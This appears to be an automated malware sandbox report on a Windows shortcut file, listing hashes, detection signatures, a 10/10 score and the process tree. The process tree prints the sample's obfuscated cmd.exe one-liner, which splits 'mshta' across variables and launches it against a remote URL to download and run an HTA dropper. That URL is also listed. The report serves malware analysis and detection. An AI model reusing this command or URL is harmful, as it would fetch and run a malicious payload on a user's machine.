Analysis
- max time kernel
148s - max time network
122s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
03/08/2026, 12:52
Static task
static1
Behavioral task
behavioral1
Sample
DOC-1AIB10.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-1AIB10.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-1AIB10.lnk
- Size 1KB
- Sample260803-p36arabl7x
- SHA256 fffe21df85f9042a1515d668ff19778d945e078c0850a3299e7794b26b716a30
- MD5 d9b51d50ee7559d28ebf0dae877c6486
- SHA1 902881e074cb3a02bf57b90ada16be8af586269d
- SHA512 c44378d5d60ccfc123952081ede296de4fc1f41bc6aa40ff850b9726b9c6ba79541a31c8090ae46a8f0b4723de362ea41156cc4fd2911a619f249da6a1c89713
- TLSH T15E317B503FFD0664F3F38E7384BB571185BBB9659E21C61D0141464C1432A14E1BBF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5732 cmd.exe 1112 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5732 wrote to memory of 1112 5732 cmd.exe 90 PID 1112 wrote to memory of 5840 1112 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-1AIB10.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5732 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set qmjbL=msh&&set ez=ta&&start "" !qmjbL!!ez! https://bo-pdffiler.lat/h/estagio1.php?r=360761F15794"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1112 -
C:\Windows\System32\mshta.exemshta https://bo-pdffiler.lat/h/estagio1.php?r=360761F157943⤵PID:5840
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